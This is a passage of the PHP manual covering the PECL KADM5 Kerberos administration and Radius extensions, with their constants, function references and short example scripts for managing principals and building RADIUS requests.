If this option is used without specifying the path to KADM5, PHP will use the built-in KADM5 client libraries. Users who run other applications that use KADM5 (for example, running PHP 4 and PHP 5 as concurrent apache modules, or auth-kadm5) should always specify the path to KADM5: --with-kadm5=/path/to/kadm5. This will force PHP to use the client libraries installed by KADM5, avoiding any conflicts.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a KADM5 handle returned by kadm5_init_with_password().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Table of Contents

  • Constants for Attribute Flags
  • Constants for Options

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.


Constants for Attribute Flags

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_modify_principal() allow to specify
special attributes using a bitfield. The symbols are defined below:

Attributes for use by the KDC
constant
KRB5_KDB_DISALLOW_POSTDATED
KRB5_KDB_DISALLOW_FORWARDABLE
KRB5_KDB_DISALLOW_TGT_BASED
KRB5_KDB_DISALLOW_RENEWABLE
KRB5_KDB_DISALLOW_PROXIABLE
KRB5_KDB_DISALLOW_DUP_SKEY
KRB5_KDB_DISALLOW_ALL_TIX
KRB5_KDB_REQUIRES_PRE_AUTH
KRB5_KDB_REQUIRES_HW_AUTH
KRB5_KDB_REQUIRES_PWCHANGE
KRB5_KDB_DISALLOW_SVR
KRB5_KDB_PWCHANGE_SERVER
KRB5_KDB_SUPPORT_DESMD5
KRB5_KDB_NEW_PRINC

User Contributed Notes

There are no user contributed notes for this page.


Constants for Options

The functions kadm5_create_principal(),
kadm5_modify_principal(), and
kadm5_get_principal() allow to specify or return
principal's options as an associative array. The keys for the associative
array are defined as string constants below:

Options for creating/modifying/retrieving principals
constant | funcdef | description
KADM5_PRINCIPAL | long | The expire time of the princial as a Kerberos timestamp.
KADM5_PRINC_EXPIRE_TIME | long | The expire time of the princial as a Kerberos timestamp.
KADM5_LAST_PW_CHANGE | long | The time this principal's password was last changed.
KADM5_PW_EXPIRATION | long | The expire time of the principal's current password, as a Kerberos timestamp.
KADM5_MAX_LIFE | long | The maximum lifetime of any Kerberos ticket issued to this principal.
KADM5_MAX_RLIFE | long | The maximum renewable lifetime of any Kerberos ticket issued to or for this principal.
KADM5_MOD_NAME | string | The name of the Kerberos principal that most recently modified this principal.
KADM5_MOD_TIME | long | The time this principal was last modified, as a Kerberos timestamp.
KADM5_KVNO | long | The version of the principal's current key.
KADM5_POLICY | string | The name of the policy controlling this principal.
KADM5_CLEARPOLICY | long | Standard procedure is to assign the 'default' policy to new principals. KADM5_CLEARPOLICY suppresses this behaviour.
KADM5_LAST_SUCCESS | long | The KDC time of the last successfull AS_REQ.
KADM5_LAST_FAILED | long | The KDC time of the last failed AS_REQ.
KADM5_FAIL_AUTH_COUNT | long | The number of consecutive failed AS_REQs.
KADM5_RANDKEY | long | Generates a random password for the principal. The parameter password will be ignored.
KADM5_ATTRIBUTES | long | A bitfield of attributes for use by the KDC.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This simple example shows how to connect, query, print resulting principals and disconnect from a KADM5 database.

Example #1 KADM5 extension overview example

<?php

  $handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

  print "<h1>get_principals</h1>\n";
  $principals = kadm5_get_principals($handle);
  for( $i=0; $i<count($principals); $i++)
      print "$principals[$i]<br>\n";

  print "<h1>get_policies</h1>\n";
  $policies = kadm5_get_policies($handle);
  for( $i=0; $i<count($policies); $i++)
      print "$policies[$i]<br>\n";

  print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

  $options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );
  $keys = array_keys($options);
  for( $i=0; $i<count($keys); $i++) {
    $value = $options[$keys[$i]];
    print "$keys[$i]: $value<br>\n";
  }

  $options = array(KADM5_PRINC_EXPIRE_TIME => 0);
  kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", $options);

  kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.


KADM5 Functions

Table of Contents

  • kadm5_chpass_principal — Changes the principal's password
  • kadm5_create_principal — Creates a kerberos principal with the given parameters
  • kadm5_delete_principal — Deletes a kerberos principal
  • kadm5_destroy — Closes the connection to the admin server and releases all related resources
  • kadm5_flush — Flush all changes to the Kerberos database
  • kadm5_get_policies — Gets all policies from the Kerberos database
  • kadm5_get_principal — Gets the principal's entries from the Kerberos database
  • kadm5_get_principals — Gets all principals from the Kerberos database
  • kadm5_init_with_password — Opens a connection to the KADM5 library
  • kadm5_modify_principal — Modifies a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.


Changes the principal's password

  • « KADM5 Functions
  • kadm5_create_principal »
  • PHP Manual
  • KADM5 Functions
  • Changes the principal's password

kadm5_chpass_principal

(PECL kadm5 >= 0.2.3)

kadm5_chpass_principal — Changes the principal's password

Description

bool kadm5_chpass_principal ( resource $handle , string $principal , string $password )

kadm5_chpass_principal() sets the new password password for the principal.

Parameters

handle

A KADM5 handle.

principal

The principal.

password

The new password.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of changing principal's password

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_chpass_principal($handle, "burbach@GONICUS.LOCAL", "newpassword");

kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a kerberos principal with the given parameters

  • « kadm5_chpass_principal
  • kadm5_delete_principal »
  • PHP Manual
  • KADM5 Functions
  • Creates a kerberos principal with the given parameters

kadm5_create_principal

(PECL kadm5 >= 0.2.3)

kadm5_create_principal — Creates a kerberos principal with the given parameters

Description

bool kadm5_create_principal ( resource $handle , string $principal [, string $password [, array $options ]] )

Creates a principal with the given password.

Parameters

handle

A KADM5 handle.

principal

The principal.

password

If password is omitted or is NULL, a random key will be generated.

options

It is possible to specify several optional parameters within the array options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of principal's creation

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

See Also

  • kadm5_modify_principal() - Modifies a kerberos principal with the given parameters
  • kadm5_delete_principal() - Deletes a kerberos principal

User Contributed Notes

There are no user contributed notes for this page.


Deletes a kerberos principal

  • « kadm5_create_principal
  • kadm5_destroy »
  • PHP Manual
  • KADM5 Functions
  • Deletes a kerberos principal

kadm5_delete_principal

(PECL kadm5 >= 0.2.3)

kadm5_delete_principal — Deletes a kerberos principal

Description

bool kadm5_delete_principal ( resource $handle , string $principal )

Removes the principal from the Kerberos database.

Parameters

handle

A KADM5 handle.

principal

The removed principal.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 kadm5_delete_principal() example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

kadm5_delete_principal($handle, "burbach@GONICUS.LOCAL");

kadm5_destroy($handle);
?>

See Also

  • kadm5_modify_principal() - Modifies a kerberos principal with the given parameters
  • kadm5_create_principal() - Creates a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.


Closes the connection to the admin server and releases all related resources

  • « kadm5_delete_principal
  • kadm5_flush »
  • PHP Manual
  • KADM5 Functions
  • Closes the connection to the admin server and releases all related resources

kadm5_destroy

(PECL kadm5 >= 0.2.3)

kadm5_destroy — Closes the connection to the admin server and releases all related resources

Description

bool kadm5_destroy ( resource $handle )

Closes the connection to the admin server and releases all related resources.

Parameters

handle

A KADM5 handle.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • kadm5_init_with_password() - Opens a connection to the KADM5 library

User Contributed Notes

There are no user contributed notes for this page.


Flush all changes to the Kerberos database

  • « kadm5_destroy
  • kadm5_get_policies »
  • PHP Manual
  • KADM5 Functions
  • Flush all changes to the Kerberos database

kadm5_flush

(PECL kadm5 >= 0.2.3)

kadm5_flush — Flush all changes to the Kerberos database

Description

bool kadm5_flush ( resource $handle )

Flush all changes to the Kerberos database, leaving the connection to the Kerberos admin server open.

Parameters

handle

A KADM5 handle.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets all policies from the Kerberos database

  • « kadm5_flush
  • kadm5_get_principal »
  • PHP Manual
  • KADM5 Functions
  • Gets all policies from the Kerberos database

kadm5_get_policies

(PECL kadm5 >= 0.2.3)

kadm5_get_policies — Gets all policies from the Kerberos database

Description

array kadm5_get_policies ( resource $handle )

Gets an array containing the policies's names.

Parameters

handle

A KADM5 handle.

Return Values

Returns array of policies on success or FALSE on failure.

Examples

Example #1 kadm5_get_policies() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_policies</h1>\n";
foreach (kadm5_get_policies($handle) as $policy) {
    echo "$policy<br />\n";
}

kadm5_destroy($handle);
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets the principal's entries from the Kerberos database

  • « kadm5_get_policies
  • kadm5_get_principals »
  • PHP Manual
  • KADM5 Functions
  • Gets the principal's entries from the Kerberos database

kadm5_get_principal

(PECL kadm5 >= 0.2.3)

kadm5_get_principal — Gets the principal's entries from the Kerberos database

Description

array kadm5_get_principal ( resource $handle , string $principal )

Gets the principal's entries from the Kerberos database.

Parameters

handle

A KADM5 handle.

principal

The principal.

Return Values

Returns array of options containing the following keys: KADM5_PRINCIPAL, KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_MOD_NAME, KADM5_MOD_TIME, KADM5_KVNO, KADM5_POLICY, KADM5_MAX_RLIFE, KADM5_LAST_SUCCESS, KADM5_LAST_FAILED, KADM5_FAIL_AUTH_COUNT on success or FALSE on failure.

Examples

Example #1 kadm5_get_principal() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

$options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );

foreach ($options as $key => $value) {
    echo "$key: $value<br />\n";
}

kadm5_destroy($handle);
?>

See Also

  • kadm5_get_principals() - Gets all principals from the Kerberos database

User Contributed Notes

There are no user contributed notes for this page.


Gets all principals from the Kerberos database

  • « kadm5_get_principal
  • kadm5_init_with_password »
  • PHP Manual
  • KADM5 Functions
  • Gets all principals from the Kerberos database

kadm5_get_principals

(PECL kadm5 >= 0.2.3)

kadm5_get_principals — Gets all principals from the Kerberos database

Description

array kadm5_get_principals ( resource $handle )

kadm5_get_principals() returns an array containing the principals's names.

Parameters

handle

A KADM5 handle.

Return Values

Returns array of principals on success or FALSE on failure.

Examples

Example #1 kadm5_get_principals() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principals</h1>\n";
foreach (kadm5_get_principals($handle) as $principal) {
    echo "$principal<br />\n";
}

kadm5_destroy($handle);
?>

See Also

  • kadm5_get_principal() - Gets the principal's entries from the Kerberos database

User Contributed Notes

There are no user contributed notes for this page.


Opens a connection to the KADM5 library

  • « kadm5_get_principals
  • kadm5_modify_principal »
  • PHP Manual
  • KADM5 Functions
  • Opens a connection to the KADM5 library

kadm5_init_with_password

(PECL kadm5 >= 0.2.3)

kadm5_init_with_password — Opens a connection to the KADM5 library

Description

resource kadm5_init_with_password ( string $admin_server , string $realm , string $principal , string $password )

Opens a connection with the KADM5 library using the principal and the given password to obtain initial credentials from the admin_server.

Parameters

admin_server

The server.

realm

Defines the authentication domain for the connection.

principal

The principal.

password

If password is omitted or is NULL, a random key will be generated.

Return Values

Returns a KADM5 handle on success or FALSE on failure.

Examples

Example #1 KADM5 initialization example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

Notes

Note:

Connection should be closed after use with kadm5_destroy().

See Also

  • kadm5_destroy() - Closes the connection to the admin server and releases all related resources

User Contributed Notes

There are no user contributed notes for this page.


Modifies a kerberos principal with the given parameters

  • « kadm5_init_with_password
  • Radius »
  • PHP Manual
  • KADM5 Functions
  • Modifies a kerberos principal with the given parameters

kadm5_modify_principal

(PECL kadm5 >= 0.2.3)

kadm5_modify_principal — Modifies a kerberos principal with the given parameters

Description

bool kadm5_modify_principal ( resource $handle , string $principal , array $options )

Modifies a principal according to the given options.

Parameters

handle

A KADM5 handle.

principal

The principal.

options

It is possible to specify several optional parameters within the array options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE. KADM5_FAIL_AUTH_COUNT.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Example of modifying principal

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH;
$options = array(KADM5_PRINC_EXPIRE_TIME => 3451234,
                 KADM5_POLICY => "gonicus",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", $options);

kadm5_destroy($handle);
?>

See Also

  • kadm5_create_principal() - Creates a kerberos principal with the given parameters
  • kadm5_delete_principal() - Deletes a kerberos principal

User Contributed Notes

There are no user contributed notes for this page.


Radius

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • RADIUS Options
    • RADIUS Packet Types
    • RADIUS Attribute Types
    • RADIUS Vendor Specific Attribute Types
  • Examples
  • Radius Functions
    • radius_acct_open — Creates a Radius handle for accounting
    • radius_add_server — Adds a server
    • radius_auth_open — Creates a Radius handle for authentication
    • radius_close — Frees all ressources
    • radius_config — Causes the library to read the given configuration file
    • radius_create_request — Create accounting or authentication request
    • radius_cvt_addr — Converts raw data to IP-Address
    • radius_cvt_int — Converts raw data to integer
    • radius_cvt_string — Converts raw data to string
    • radius_demangle_mppe_key — Derives mppe-keys from mangled data
    • radius_demangle — Demangles data
    • radius_get_attr — Extracts an attribute
    • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
    • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
    • radius_get_vendor_attr — Extracts a vendor specific attribute
    • radius_put_addr — Attaches an IP address attribute
    • radius_put_attr — Attaches a binary attribute
    • radius_put_int — Attaches an integer attribute
    • radius_put_string — Attaches a string attribute
    • radius_put_vendor_addr — Attaches a vendor specific IP address attribute
    • radius_put_vendor_attr — Attaches a vendor specific binary attribute
    • radius_put_vendor_int — Attaches a vendor specific integer attribute
    • radius_put_vendor_string — Attaches a vendor specific string attribute
    • radius_request_authenticator — Returns the request authenticator
    • radius_salt_encrypt_attr — Salt-encrypts a value
    • radius_send_request — Sends the request and waites for a reply
    • radius_server_secret — Returns the shared secret
    • radius_strerror — Returns an error message

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This package is based on the libradius (Remote Authentication Dial In User Service) of FreeBSD. It allows clients to perform authentication and accounting by means of network requests to remote servers.

This PECL extension adds full support for Radius Authentication (» RFC 2865) and Radius Accounting (» RFC 2866). This package is available for Unix (tested on FreeBSD and Linux) and for Windows.

Note:

An exact description for libradius can be found » here. A detailed description of the configuration file can be found » here.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/radius.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Table of Contents

  • RADIUS Options
  • RADIUS Packet Types
  • RADIUS Attribute Types
  • RADIUS Vendor Specific Attribute Types

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RADIUS_MPPE_KEY_LEN (integer)
The maximum length of MPPE keys.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Options

Several RADIUS functions accept option flags as bitmasks. The constants representing those flags are listed below.

RADIUS_OPTION_SALT (integer)

When set, this option will result in the attribute value being salt-encrypted.

RADIUS_OPTION_TAGGED (integer)

When set, this option will result in the attribute value being tagged with the value of the tag parameter.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Packet Types

RADIUS packets, whether requests or responses, always include a type. These constants are provided to make it easier to specify types when using radius_create_request() and when comparing the result of radius_send_request().

RADIUS_ACCESS_REQUEST (integer)

An Access-Request, used to authenticate a user against a RADIUS server. Access request packets must include a RADIUS_NAS_IP_ADDRESS or a RADIUS_NAS_IDENTIFIER attribute, must also include a RADIUS_USER_PASSWORD, RADIUS_CHAP_PASSWORD or a RADIUS_STATE attribute, and should include a RADIUS_USER_NAME attribute.

RADIUS_ACCESS_ACCEPT (integer)

An Access-Accept response to an Access-Request indicating that the RADIUS server authenticated the user successfully.

RADIUS_ACCESS_REJECT (integer)

An Access-Reject response to an Access-Request indicating that the RADIUS server could not authenticate the user.

RADIUS_ACCESS_CHALLENGE (integer)

An Access-Challenge response to an Access-Request indicating that the RADIUS server requires further information in another Access-Request before authenticating the user.

RADIUS_ACCOUNTING_REQUEST (integer)

An Accounting-Request, used to convey accounting information for a service to the RADIUS server.

RADIUS_ACCOUNTING_RESPONSE (integer)

An Accounting-Response response to an Accounting-Request.

RADIUS_COA_REQUEST (integer)

A CoA-Request, sent from the RADIUS server to indicate that the authorisations within the user session have changed. A response must be sent in the form of a CoA-ACK or a CoA-NAK.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_ACK (integer)

A CoA-ACK, sent to the RADIUS server to indicate that the user authorisations have been updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_NAK (integer)

A CoA-NAK, sent to the RADIUS server to indicate that the user authorisations could not be updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_REQUEST (integer)

A Disconnect-Request, sent from the RADIUS server to indicate that the user session must be terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_ACK (integer)

A Disconnect-ACK, sent to the RADIUS server to indicate that the user session has been terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_NAK (integer)

A Disconnect-NAK, sent to the RADIUS server to indicate that the user session could not be terminated.

This constant is available in PECL radius 1.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Attribute Types

These constants define RADIUS attribute types that can be used with
radius_put_addr(), radius_put_attr(),
radius_put_int() and
radius_put_string().

RADIUS_USER_NAME (integer)

The User-Name attribute. The attribute value is expected to be a string containing the name of the user being authenticated, and can be set using radius_put_attr().

RADIUS_USER_PASSWORD (integer)

The User-Password attribute. The attribute value is expected to be a string containing the user's password, and can be set using radius_put_attr(). This value will be obfuscated on transmission as described in » section 5.2 of RFC 2865.

RADIUS_CHAP_PASSWORD (integer)

The Chap-Password attribute. The attribute value is expected to be a string with the first byte containing the CHAP identifier, and the subsequent 16 bytes containing the MD5 hash of the CHAP identifier, the plaintext password and the CHAP challenge value concatenated together. Note that the CHAP challenge value should also be sent separately in a RADIUS_CHAP_CHALLENGE attribute.

Example #1 Using CHAP passwords

<?php
// Firstly, we'll create an authentication handle and request.
$radh = radius_auth_open();
radius_add_server($radh, $server, $port, $secret, 3, 3);
radius_create_request($radh, RADIUS_ACCESS_REQUEST);

// Assuming $password contains the plaintext password, we now:

// Generate a challenge.
$challenge = mt_rand();

// Specify a CHAP identifier.
$ident = 1;

// Add the Chap-Password attribute.
$cp = md5(pack('Ca*', $ident, $password.$challenge), true);
radius_put_attr($radh, RADIUS_CHAP_PASSWORD, pack('C', $ident).$cp);

// Add the Chap-Challenge attribute.
radius_put_attr($radh, RADIUS_CHAP_CHALLENGE, $challenge);

/* From here, you would add the remaining attributes and
 * call radius_send_request(). */
?>

RADIUS_NAS_IP_ADDRESS (integer)

The NAS-IP-Address attribute. The attribute value is expected to the IP address of the RADIUS client encoded as an integer, which can be set using radius_put_addr().

RADIUS_NAS_PORT (integer)

The NAS-Port attribute. The attribute value is expected to be the physical port of the user on the RADIUS client encoded as an integer, which can be set using radius_put_int().

RADIUS_SERVICE_TYPE (integer)

The Service-Type attribute. The attribute value indicates the service type the user is requesting, and is expected to be an integer, which can be set using radius_put_int().

A number of constants are provided to represent the possible values of this attribute. They include:

  • RADIUS_LOGIN
  • RADIUS_FRAMED
  • RADIUS_CALLBACK_LOGIN
  • RADIUS_CALLBACK_FRAMED
  • RADIUS_OUTBOUND
  • RADIUS_ADMINISTRATIVE
  • RADIUS_NAS_PROMPT
  • RADIUS_AUTHENTICATE_ONLY
  • RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (integer)

The Framed-Protocol attribute. The attribute value is expected to be an integer indicating the framing to be used for framed access, and can be set using radius_put_int(). The possible attribute values include these constants:

  • RADIUS_PPP
  • RADIUS_SLIP
  • RADIUS_ARAP
  • RADIUS_GANDALF
  • RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (integer)

The Framed-IP-Address attribute. The attribute value is expected to be the address of the user's network encoded as an integer, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_IP_NETMASK (integer)

The Framed-IP-Netmask attribute. The attribute value is expected to be the netmask of the user's network encoded as an integer, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_ROUTING (integer)

The Framed-Routing attribute. The attribute value is expected to be an integer indicating the routing method for the user, which can be set using radius_put_int().

Possible values include:

  • 0: No routing
  • 1: Send routing packets
  • 2: Listen for routing packets
  • 3: Send and listen

RADIUS_FILTER_ID (integer)

The Filter-ID attribute. The attribute value is expected to be an implementation-specific, human-readable string of filters, which can be set using radius_put_attr().

RADIUS_FRAMED_MTU (integer)

The Framed-MTU attribute. The attribute value is expected to be an integer indicating the MTU to be configured for the user, and can be set using radius_put_int().

RADIUS_FRAMED_COMPRESSION (integer)

The Framed-Compression attribute. The attribute value is expected to be an integer indicating the compression protocol to be used, and can be set using radius_put_int(). Possible values include these constants:

  • RADIUS_COMP_NONE: No compression
  • RADIUS_COMP_VJ: VJ TCP/IP header compression
  • RADIUS_COMP_IPXHDR: IPX header compression
  • RADIUS_COMP_STAC_LZS: Stac-LZS compression (added in PECL radius 1.3.0b2)

RADIUS_LOGIN_IP_HOST (integer)

The Login-IP-Host attribute. The attribute value is expected to the IP address to connect the user to, encoded as an integer, which can be set using radius_put_addr().

RADIUS_LOGIN_SERVICE (integer)

The Login-Service attribute. The attribute value is an integer indicating the service to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_LOGIN_TCP_PORT (integer)

The Login-TCP-Port attribute. The attribute value is an integer indicating the port to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_REPLY_MESSAGE (integer)

The Reply-Message attribute. The attribute value is a string containing text that may be displayed to the user in response to an access request.

RADIUS_CALLBACK_NUMBER (integer)

The Callback-Number attribute. The attribute value is a string containing the dialing string to use for callback.

RADIUS_CALLBACK_ID (integer)

The Callback-Id attribute. The attribute value is a string containing an implementation-specific name of the place to be called.

RADIUS_FRAMED_ROUTE (integer)

The Framed-Route attribute. The attribute value is a string containing an implementation-specific set of routes to be configured for the user.

RADIUS_FRAMED_IPX_NETWORK (integer)

The Framed-IPX-Network attribute. The attribute value is an integer containing the IPX network to be configured for the user, or 0xFFFFFFFE to indicate that the RADIUS client should select the network, and can be accessed via radius_cvt_int().

RADIUS_STATE (integer)

The State attribute. The attribute value is an implementation-defined string included in an Access-Challenge from a server that must be included in the subsequent Access-Request, and can be set using radius_put_attr().

RADIUS_CLASS (integer)

The Class attribute. The attribute value is an arbitrary string included in an Access-Accept message that should then be sent to the accounting server in Accounting-Request messages, and can be set using radius_put_attr().

RADIUS_VENDOR_SPECIFIC (integer)

The Vendor-Specific attribute. In general, vendor attribute values
should be set using radius_put_vendor_addr(),
radius_put_vendor_attr(),
radius_put_vendor_int() and
radius_put_vendor_string(), rather than directly.

This constant is mostly useful when interpreting vendor specific attributes in responses from a RADIUS server; when a vendor specific attribute is received, the radius_get_vendor_attr() function should be used to access the vendor ID, attribute type and attribute value.

RADIUS_SESSION_TIMEOUT (integer)

Session timeout

RADIUS_IDLE_TIMEOUT (integer)

Idle timeout

RADIUS_TERMINATION_ACTION (integer)

Termination action

RADIUS_CALLED_STATION_ID (integer)

Called Station Id

RADIUS_CALLING_STATION_ID (integer)

Calling Station Id

RADIUS_NAS_IDENTIFIER (integer)

NAS ID

RADIUS_PROXY_STATE (integer)

Proxy State

RADIUS_LOGIN_LAT_SERVICE (integer)

Login LAT Service

RADIUS_LOGIN_LAT_NODE (integer)

Login LAT Node

RADIUS_LOGIN_LAT_GROUP (integer)

Login LAT Group

RADIUS_FRAMED_APPLETALK_LINK (integer)

Framed Appletalk Link

RADIUS_FRAMED_APPLETALK_NETWORK (integer)

Framed Appletalk Network

RADIUS_FRAMED_APPLETALK_ZONE (integer)

Framed Appletalk Zone

RADIUS_CHAP_CHALLENGE (integer)

Challenge

RADIUS_NAS_PORT_TYPE (integer)

NAS port type, one of:

  • RADIUS_ASYNC
  • RADIUS_SYNC
  • RADIUS_ISDN_SYNC
  • RADIUS_ISDN_ASYNC_V120
  • RADIUS_ISDN_ASYNC_V110
  • RADIUS_VIRTUAL
  • RADIUS_PIAFS
  • RADIUS_HDLC_CLEAR_CHANNEL
  • RADIUS_X_25
  • RADIUS_X_75
  • RADIUS_G_3_FAX
  • RADIUS_SDSL
  • RADIUS_ADSL_CAP
  • RADIUS_ADSL_DMT
  • RADIUS_IDSL
  • RADIUS_ETHERNET
  • RADIUS_XDSL
  • RADIUS_CABLE
  • RADIUS_WIRELESS_OTHER
  • RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (integer)

Port Limit

RADIUS_LOGIN_LAT_PORT (integer)

Login LAT Port

RADIUS_CONNECT_INFO (integer)

Connect info

RADIUS_ACCT_STATUS_TYPE (integer)

Accounting status type, one of:

  • RADIUS_START
  • RADIUS_STOP
  • RADIUS_ACCOUNTING_ON
  • RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (integer)

Accounting delay time

RADIUS_ACCT_INPUT_OCTETS (integer)

Accounting input bytes

RADIUS_ACCT_OUTPUT_OCTETS (integer)

Accounting output bytes

RADIUS_ACCT_SESSION_ID (integer)

Accounting session ID

RADIUS_ACCT_AUTHENTIC (integer)

Accounting authentic, one of:

  • RADIUS_AUTH_RADIUS
  • RADIUS_AUTH_LOCAL
  • RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (integer)

Accounting session time

RADIUS_ACCT_INPUT_PACKETS (integer)

Accounting input packets

RADIUS_ACCT_OUTPUT_PACKETS (integer)

Accounting output packets

RADIUS_ACCT_TERMINATE_CAUSE (integer)

Accounting terminate cause, one of:

  • RADIUS_TERM_USER_REQUEST
  • RADIUS_TERM_LOST_CARRIER
  • RADIUS_TERM_LOST_SERVICE
  • RADIUS_TERM_IDLE_TIMEOUT
  • RADIUS_TERM_SESSION_TIMEOUT
  • RADIUS_TERM_ADMIN_RESET
  • RADIUS_TERM_ADMIN_REBOOT
  • RADIUS_TERM_PORT_ERROR
  • RADIUS_TERM_NAS_ERROR
  • RADIUS_TERM_NAS_REQUEST
  • RADIUS_TERM_NAS_REBOOT
  • RADIUS_TERM_PORT_UNNEEDED
  • RADIUS_TERM_PORT_PREEMPTED
  • RADIUS_TERM_PORT_SUSPENDED
  • RADIUS_TERM_SERVICE_UNAVAILABLE
  • RADIUS_TERM_CALLBACK
  • RADIUS_TERM_USER_ERROR
  • RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (integer)

Accounting multi session ID

RADIUS_ACCT_LINK_COUNT (integer)

Accounting link count

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Vendor Specific Attribute Types

RADIUS_VENDOR_MICROSOFT (integer)

Microsoft specific vendor attributes (» RFC 2548), one of:

  • RADIUS_MICROSOFT_MS_CHAP_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP_ERROR
  • RADIUS_MICROSOFT_MS_CHAP_PW_1
  • RADIUS_MICROSOFT_MS_CHAP_PW_2
  • RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
  • RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
  • RADIUS_MICROSOFT_MS_RAS_VENDOR
  • RADIUS_MICROSOFT_MS_CHAP_DOMAIN
